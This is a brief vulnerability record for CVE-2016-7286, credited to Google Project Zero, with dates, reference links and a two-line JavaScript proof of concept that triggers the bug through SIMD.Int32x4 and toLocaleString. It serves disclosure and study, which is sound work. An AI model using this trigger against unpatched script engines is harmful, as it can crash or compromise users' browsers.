CVE-2016-7286.md

CVE-2016-7286

• Report: Dec 2016
• Fix: Oct 2016
• Credit: Natalie Silvanovich, Google Project Zero

PoC

var v = SIMD.Int32x4(1, 2, 3, 4);
v.toLocaleString(1, 2, 3, 4)

Reference

• Microsoft
• Project Zero